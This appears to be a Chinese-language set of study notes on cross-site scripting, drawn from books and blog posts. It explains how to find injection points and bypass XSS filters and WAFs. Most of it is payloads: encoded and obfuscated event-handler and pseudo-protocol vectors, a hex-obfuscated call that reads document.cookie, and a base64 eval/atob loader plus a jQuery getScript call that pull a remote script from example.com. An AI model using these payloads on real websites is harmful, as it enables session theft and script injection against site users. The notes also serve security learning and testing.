來源《XSS跨站腳本攻擊剖析與防御》&《WEB前端技術揭秘》
一、一般測試方法
步驟:
0.總則:見框就插
1.在輸入框隨便輸入一些簡單的字符,如 aaa
,方便后續查找輸出位置
2.按下F12
打開開發者模式,ctrl
+F
鍵,搜索 aaa
3.多數情況下是在標簽的value="aaa"
中,或者獨立出來包含在一些別的標簽中,如div
、span
等
4.根據特定情況構造payload,一般是直接構造標簽
或者閉合標簽再構造
或者利用偽協議
等
二、常用技巧
- 1.JS偽協議利用
形式:javascript:[代碼]
示例:<table background="javascript:alert(1)"></table>
,引號可以去掉
支持偽協議的屬性有:href
,lowsrc
,bgsound
,background
,action
,dynsrc
- 2.基於黑名單的過濾
① js代碼 中,利用空格
,回車
,tab鍵
,切記只有""
包裹的js代碼才可以隨便利用空格、回車、tab鍵,例如src="java script:xxxx"
,而這樣不行:src=java script:xxxx
,而且回車、換行不支持在on事件
中使用,空格可以
js引擎特性:js語句通常以分號結尾,但是如果引擎判斷一條語句完整的話,且結尾有換行符,就可以省略分號
例:
var a = 1
var b = 2;
//上述語句正確
示例:<img src="javas cript:alert(1)">
,中間為tab鍵
用於繞過某些XSS防護
<img src="jav ascript:alert('XSS');">
也可以對TAB編碼
<img src="jav	ascript:alert('XSS');">
利用換行符拆解
<img src="jav
ascript:alert('XSS');">
利用回車拆解
<img src="jav
ascript:alert('XSS');">
② 大小寫混淆
示例:<IMg SRc oNERRoR=aLERT(1)>
③ 編碼繞過
暫無
④ 奇淫技巧
1.過濾引號
策略:雙引號不行單引號;單引號不行不要引號;不要引號不行試試反引號 `(IE支持)
2.過濾空格
策略:/**/
,注釋符號繞過;/
符號繞過;
例:<img/src/onerror=alert(1)>
3.屬性關鍵詞被過濾
策略:插入/**/
、\
、\0
示例:
//1.`/**/`
<img src="java/*/*javascript*/script/*javascript*/*/script:alert(1);">
//2.`\`、`\0`只能在css樣式\js中使用,兩者會被瀏覽器忽略
<style>
@\0im\port'\0ja\vasc\ript:alert(1)';
//此處用到了@import,詳細@import解釋在后面
</style>
4.`<!-- -->`注釋繞過
`<!--<img src="--><img src onerror=alert(1)//">`
解釋:
`<style><img src="</style><img src onerror=alert(1)//">`
解釋:
5.利用 JSFuck 繞過關鍵詞過濾
- 3.js事件執行代碼
示例:<img src onerror=alert(1)>
js事件:onerror
,onclick
,onmouseover
,onkeydown
·········
其他事件查詢:https://www.w3school.com.cn/tags/html_ref_eventattributes.asp
-
4.利用css跨站 (style屬性或者style標簽)
① 直接執行
利用的是屬性中的 url ,跟偽協議相似
示例:
//1.
<div style="background-image:url(javascript:alert(1))">
//2.
<style>
body{background-image:url(javascript:alert(1));}
</style>
//3.
<div style="list-style-image:url(javascript:alert(1));">
② IE 下利用 expression
解釋:expression用來吧CSS屬性與js表達式關聯起來,其中CSS屬性可以是元素固有的屬性,也可以是自定義屬性,如下示例中的1、2,
示例:
//1.
<div style="width:expression(alert(1));">
//2.
<img src="#" style="xss:expression(alert(1));">
//3.
<div style="list-style-image:expression(alert(1));">
//4.
<style>
body{background-image:expression(alert(1));}
</style>
③ 引用外部css文件執行xss
示例:
//1. 利用 link 標簽
<link rel="stylesheet" href="http://www.mysite.com/eval.css">
//2.利用 @import 導入
<style type="text/css"> @import url(http://www.mysite.com/eval.css);</style>
//3.@import特性--直接執行js代碼
<style>
@import "javascript:alert(1)";
</style>
三、更新內容 -- 利用JS全局變量繞過XSS過濾器
原文地址:🤑利用JS全局變量繞過過濾器🤑
JavaScript全局變量在函數外部聲明或通過window對象聲明。可以從任何功能訪問它!
全局變量有:self,document,this,top、window
<script>
self["alert"](1);
(/* this is a comment */self/* foo */)[/*bar*/"alert"/**/]("2") //用注釋混淆
<script>
可以調用任何JavaScript函數的全局變量有:
- window
- self
- _self
- this
- top
- parent
- frames
注意:一下例子均以 self對象 全局變量為例
進階:
1.編碼
alert(document.cookie)
//利用全局變量
self["ale"+"rt"](self["doc"+"ument"]["coo"+"kie"])
// 利用js中支持的編碼方式混淆過濾器
self["\x61\x6c\x65\x72\x74"](
self["\x64\x6f\x63\x75\x6d\x65\x6e\x74"]
["\x63\x6f\x6f\x6b\x69\x65"]
)
2.創建元素
//目標節點
<script type="text/javascript" src="http://example.com/my.js"></script>
//js代碼
self["\x65\x76\x61\x6c"](
self["\x61\x74\x6f\x62"](
"dmFyIGhlYWQgPSBkb2N1bWVudC5nZXRFbGVtZW50\
c0J5VGFnTmFtZSgnaGVhZCcpLml0ZW0oMCk7dmFyI\
HNjcmlwdCA9IGRvY3VtZW50LmNyZWF0ZUVsZW1lbn\
QoJ3NjcmlwdCcpO3NjcmlwdC5zZXRBdHRyaWJ1dGU\
oJ3R5cGUnLCAndGV4dC9qYXZhc2NyaXB0Jyk7c2Ny\
aXB0LnNldEF0dHJpYnV0ZSgnc3JjJywgJ2h0dHA6L\
y9leGFtcGxlLmNvbS9teS5qcycpO2hlYWQuYXBwZW\
5kQ2hpbGQoc2NyaXB0KTs="
)
)
其中
self["\x65\x76\x61\x6c"] --> eval()函數
self["\x61\x74\x6f\x62"] --> atob()方法 用於解碼使用 base-64 編碼的字符串。
一大串base64字符串為:
var head = document.getElementsByTagName('head').item(0);
var script = document.createElement('script');
script.setAttribute('type', 'text/javascript');
script.setAttribute('src','http://example.com/my.js');
head.appendChild(script);
可以創建的標簽元素往往不止只一個,懂js代碼的,可以自定義需要創建的元素
3.利用框架,如jQuery
1).self["$"]["jQuery方法"]("JS代碼")
//①:
self["$"]["globalEval"]("alert(1)");
//編碼后:
self["\x24"]
["\x67\x6c\x6f\x62\x61\x6c\x45\x76\x61\x6c"]
("\x61\x6c\x65\x72\x74\x28\x31\x29");
//②:
self [“ $”] [“ getScript”]("https://example.com/my.js")
2).Object.keys()方法調用函數
Object.keys()可以根據傳的 索引值 調用各種函數方法,使我們能夠調用任何函數而無需使用其名稱
在控制台輸入 Object.keys(self) 即可查看所有self對象支持的方法
當然你也可以輸入一下代碼,更加直觀的查看
x=0
for(i in self) {
if(typeof self[i] != '') {
console.log(i+"\n")
console.log(x)
x+=1
}
};
也可用通過這個直接查具體函數索引值
例如:查找 alert 函數
c=0; for(i in self) { if(i == "alert") { console.log(c); } c++; }
Object.keys(self)[145](1)
代表着 alert(1)
然后在控制台調用:
self[Object.keys(self)[145]](1)
4.如何去利用?利用點在哪里?
構造特殊的payload,繞過 waf
要是單純的想插入到 <script>
標簽中或者一些標簽的事件函數中不太現實,因為網站既然都沒有過濾這些敏感標簽,為什么我們還要多此一舉,搞得這么復雜
弄到雲里霧里
四、JS中一些奇怪的函數、特性
同樣是 alert(1) ,為何你如此優秀?
(alert)(1)
a=alert,a(1)
[1].map(alert)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)
五、新加的內容(沒有排版)
原文地址:🤑淺談XSS繞過姿勢🤑
1.US-ASCII編碼
¼script¾alert(¢XSS¢)¼/script¾
2.重寫繞過
當waf過濾方式為將某些關鍵字替換成空時,可以嘗試嵌套,如過濾script關鍵字則可以嘗試 scscriptript
3.利用上下文及注釋突破字數限制
評論一:<p class="comment" title=" "><script>/*"> </p>
評論二:<p class="comment" title=" */prompt(/*"> </p>
評論三:<p class="comment" title=" */1);/*"> </p>
評論四:<p class="comment" title=" */</script>"> </p>
4.在 尖括號對 被過濾的時候
利用 // 繞過: <article><body/onload=alert(1)//</article>
此處相當於利用 // 來閉合不完整的payload,代替 > 符號
6.利用fromeCharCoded方法繞過引號限制
<img src=javascript:alert(String.fromCharCode(88,83,83))>
7.利用混淆繞過過濾器
(alert)(1)
a=alert,a(1)
[1].find(alert)
top[“al”+”ert”](1)
top[/al/.source+/ert/.source](1)
al\u0065rt(1)
top[‘al\145rt’](1)
top[‘al\x65rt’](1)
top[8680439..toString(30)](1)
8.雙半開括號繞過
<iframe src=http://xss.rocks/scriptlet.html <
9.利用& JavaScript includes
<br size="&{alert('XSS')}">
10.大佬總結的一些payload
下面9個套在<script>標簽中全部執行成功,當然也可以放在標簽的事件屬性里面
eval.call`${'alert\x281\x29'}`
eval.apply`${[`alert\x282\x29`]}`
setTimeout`alert\x283\x29`
setInterval`alert\x284\x29`
onerror=alert;throw 5;
'alert\x286\x29'instanceof{[Symbol.hasInstance]:eval}
onerror=eval;throw'=alert\x287\x29';
{onerror=alert}throw 8
throw/a/,Uncaught=1,g=alert,a=g+0,onerror=eval,/1/g+a[14]+[23,331,337]+a[15]
這里個看不太懂😁
{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:'',message:'alert\x2823\x29'}
由此可見,XSS要學好,JS功底少不了
六、 XSS Payload
<svg/onload=alert(1)>
<details open ontoggle=confirm(0)>
<svg><script>alert(1)</script>
等等等等
新增payload,來源HTML5Security
只測試了網頁中一部分payload,在Chorme、Firefox瀏覽器上測試,一下測試樣例代碼均成功執行
<!--
#Chrome, Opera, Safari and Edge
<div onfocus="alert(1)" contenteditable tabindex="0" id="xss"></div>
<div style="-webkit-user-modify:read-write" onfocus="alert(1)" id="xss">
<div style="-webkit-user-modify:read-write-plaintext-only" onfocus="alert(1)" id="xss">
# Firefox
<div onbeforescriptexecute="alert(1)"></div>
<script>1</script>
#MSIE10/11 & Edge
<div style="-ms-scroll-limit:1px;overflow:scroll;width:1px" onscroll="alert(1)">
#MSIE10
<div contenteditable onresize="alert(1)"></div>
# MSIE11
<div onactivate="alert(1)" id="xss" style="overflow:scroll"></div>
<div onfocus="alert(1)" id="xss" style="display:table">
<div id="xss" style="-ms-block-progression:bt" onfocus="alert(1)">
<div id="xss" style="-ms-layout-flow:vertical-ideographic" onfocus="alert(1)">
<div id="xss" style="float:left" onfocus="alert(1)">
# Chrome, Opera, Safari
<style>@keyframes x{}</style>
<div style="animation-name:x" onanimationstart="alert(1)"></div>
# Chrome, Opera, Safari
<style>
div {width: 100px;}
div:target {width: 200px;}
</style>
<div id="xss" onwebkittransitionend="alert(1)" style="-webkit-transition: width .1s;"></div>
# Safari
<div style="overflow:-webkit-marquee" onscroll="alert(1)"></div>
-->
<!--<iframe srcdoc="<script>alert('XSS')</script>"></iframe>-->
<!--<input onfocus=write(1) autofocus>-->
<!--<object classid="clsid:333c7bc4-460f-11d0-bc04-0080c7055a83">-->
<!-- <param name="dataurl" value="javascript:alert('Barret李靖')">-->
<!--</object>-->
<!--<p class="comment" title=""><script>/*"></p>-->
<!--<p class="comment" title="*/prompt(/*"></p>-->
<!--<p class="comment" title="*/1);/*"></p>-->
<!--<p class="comment" title="*/</script>"></p>-->
<!--<svg><script>alert(1)</script>-->
<!--http://127.0.0.1/browser/1.php?name=<img src=x onerror=outerHTML=URL>#<img src=x onerror=alert(/xss/)>-->
<!--利用fromeCharCoded方法繞過引號限制-->
<!--<img src=javascript:alert(String.fromCharCode(88,83,83))>-->
<!-- 利用& JavaScript includes-->
<!-- <br size="&{alert('XSS')}">-->
<!--<a href="javascript: //%0a %61lert(1)">click me</a>-->
<!--<img src="1" onerror="al\u0065rt(1)" />-->
<!--<img src="1" onerror="\u0061\u006c\u0065\u0072\u0074(1)" />-->
<!--<a href="javascript: //%0a%61l\u0065rt(1)">click me</a>-->
<!--<img/src/onerror="\u0061\u006c\u0065\u0072\u0074('\u0061')">-->
<!--<img/src/onerror=\u0061\u006c\u0065\u0072\u0074(\u0061)>-->
<!-- <a><svg><path><animateMotion/onend='[1].map(alert)' dur='1s'repeatCount=1></a>-->
<!--<form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>-->
<!--<input onfocus=write(1) autofocus>-->
<!--<input onblur=write(1) autofocus><input autofocus>-->
<!--<video poster=javascript:alert(1)//></video> opera 10.5+-->
<!--<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>...<br><br><br><br><input autofocus>-->
<!--<form id=test onforminput=alert(1)><input></form><button form=test onformchange=alert(2)>X</button> opera10.5 12.0-->
<!--<video><source onerror="alert(1)">-->
<!--<video onerror="alert(1)"><source></source></video> <audio>也可以 火狐ie-->
<!--<form><button formaction="javascript:alert(1)">X</button>-->
<!--<body oninput=alert(1)><input autofocus>-->
<!--<math href="javascript:alert(1)">CLICKME</math> 火狐-->
<!--<math>
<maction actiontype="statusline#http://google.com" xlink:href="javascript:alert(2)">CLICKME</maction>-->
<!--<iframe srcdoc="<img src=x:x onerror=alert(1)>" />-->
<!--<picture><source srcset="x"><img onerror="alert(1)"></picture>
<picture><img srcset="x" onerror="alert(1)"></picture>
<img srcset=",,,,,x" onerror="alert(1)">-->
<!--<iframe srcdoc="<svg onload=alert(1)>⃒"></iframe>-->
<!--<a href="javascript:'<svg onload=alert(1)>⃒'">CLICK</a>-->
<!--<⃒ >⃒-->
<!--<details open ontoggle="alert(1)">-->
<!-- <frameset onload=alert(1)> iframe body 無src屬性也可以觸發onload事件-->
<!--<table background="javascript:alert(1)"></table> ie opera-->
<!--<!–<img src="–><img src=x onerror=alert(1)//">-->
<!--<comment><img src="</comment><img src=x onerror=alert(1)//"> ie-->
<!--<![><img src="]><img src=x onerror=alert(1)//"> 好像不行-->
<!--<svg><![CDATA[><image xlink:href="]]><img src=xx:x onerror=alert(2)//"></svg>-->
<!--<style><img src="</style><img src=x onerror=alert(1)//">-->
<!--<li style=list-style:url() onerror=alert(1)></li>
<div style=content:url(data:image/svg+xml,%3Csvg/%3E);visibility:hidden onload=alert(1)></div> opera-->
<!--<head><base href="javascript://"/></head><body><a href="/. /,alert(1)//#">XXX</a></body> opera ie safari-->
<!--<OBJECT CLASSID="clsid:333C7BC4-460F-11D0-BC04-0080C7055A83"><PARAM NAME="DataURL" VALUE="javascript:alert(1)"></OBJECT> ie6/9 -->
<!--<object data="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></object>-->
<!--<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg=="></embed>-->
<!--<embed src="javascript:alert(1)"></embed> // Firefox only-->
<!--<b <script>alert(1)//</script>0</script></b> 嵌套標簽失敗-->
<!--<div id="div1"><input value="``onmouseover=alert(1)"></div> <div id="div2"></div><script>document.getElementById("div2").innerHTML = document.getElementById("div1").innerHTML;</script> ie-->
<!--<div style=width:1px;filter:glow onfilterchange=alert(1)>x</div> ie-->
<!--[A]
<? foo="><script>alert(1)</script>">
<! foo="><script>alert(1)</script>">
</ foo="><script>alert(1)</script>">-->
<!--[B]
<? foo="><x foo='?><script>alert(1)</script>'>">
[C]
<! foo="[[[x]]"><x foo="]foo><script>alert(1)</script>">
[D]
<% foo><x foo="%><script>alert(1)</script>">
好像不行
-->
<!--<img[a][b]src=x[d]onerror[c]=[e]"alert(1)">
[a]可接受作為標簽名稱/屬性分隔符的字符。Firefox,Internet Explorer,Safari,Google Chrome,Opera:9,10,12,13,32,47 Internet Explorer(5-9 SM):11 [b]在屬性之前忽略字符(並且不接受作為參數/屬性分隔符) 。Firefox,Internet Explorer,Safari,Google Chrome,Opera:47 Internet Explorer(5-9 SM):0 ** [c]在屬性名稱和等號之間忽略字符。Firefox,Internet Explorer,Safari,Google Chrome,Opera:9,10,12,13,32 Internet Explorer(5-9 SM):0,11 [d]接受作為參數/屬性分隔符的字符。Firefox,Internet Explorer,Safari,Google Chrome,Opera:9,10,12,13,32 Internet Explorer(5-9 SM):11 [e]等號和參數之間的字符被忽略。Firefox,Internet Explorer,Safari,Google Chrome,Opera:9,10,12,13,32 Internet Explorer(5-9 SM):0,11 *字符以十進制ASCII表索引形式給出。**有一個通用規則,即IE HTML解析器不存在未編碼的空字符。
沒成功
-->
<!--<a href="[a]java[b]script[c]:alert(1)">XXX</a>
URI sheme中忽略以下字符*:[a]所有提到的瀏覽器:9,10,13,32 IE,GC,Safari,Opera:11,12 IE,GC,Safari,FF 3.6.28↓:8 IE ,GC,Safari:1-7,14-31 Opera:160,5760,6158,8192-8202,8232,8233,8239,8287,12288 Opera 11.52↓:6159 IE(5-9 SM):0 [b] ,[c] IE,GC,Safari 4.0.3↓,FF 4-6,Opera 10.63↓:9,10,13 GC 7↓,Safari 4.0.3↓:1-8,11,12 IE(5-9 SM):0 Safari 4.0.4↑,Opera 11↑,FF 7↑:無*字符以十進制ASCII表索引形式給出。
沒成功
-->
<!--<frameset onpageshow="alert(1)">-->
<!--<body onpageshow="alert(1)">-->
<!--<applet onerror="alert(1)"></applet> ie -->
<!--<a style="pointer-events:none;position:absolute;"><a style="position:absolute;" onclick="alert(1);">XXX</a></a><a href="javascript:alert(2)">XXX</a>-->
<!--<div style="\63	\06f
\0006c\00006F
\R:\000072 Ed;color\0\bla:yellow\0\bla;col\0\00 \ or:blue;">XXX</div>-->
<!--<script>ReferenceError.prototype.__defineGetter__('name', function(){alert(1)}),x</script> chrome按下f12執行 火狐直接執行-->
<!--<script>history.pushState(0,0,'/i/am/somewhere_else');</script>-->
<!--<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>-->
<!--<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>-->
<!--
<svg>
<a xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="?">
<circle r="400"></circle>
<animate attributeName="xlink:href" begin="0" from="javascript:alert(1)" to="&" />
</a>
-->
<!--<?xml-stylesheet href="javascript:alert(1)"?><root/> opera-->
<!--<input onblur=focus() autofocus><input>-->
<!--<article><body/onload=alert(1)//</article>-->
<!--<body/onload=alert(1)//-->
<script>
// eval.call`${'alert\x281\x29'}`
// eval.call`${'alert\x282\x29'}`
// eval.apply`${[`alert\x283\x29`]}`
// setTimeout`alert\x284\x29`
// setInterval`alert\x285\x29`
// onerror=alert;throw 6;
// 'alert\x287\x29'instanceof{[Symbol.hasInstance]:eval}
// onerror=eval;throw'=alert\x288\x29';
// {onerror=alert}throw 9
</script>
<script>
// {onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:'',message:'alert\x2823\x29'}
throw/a/,Uncaught=1,g=alert,a=g+0,onerror=eval,/1/g+a[14]+[23,331,337]+a[15]
</script>
參考文章:
https://www.freebuf.com/articles/web/226719.html
https://mp.weixin.qq.com/s/Egf7sjVvviTESNYEds-pmQ
https://mp.weixin.qq.com/s/Fh8Y-xNoByQXqLQJHLLTkA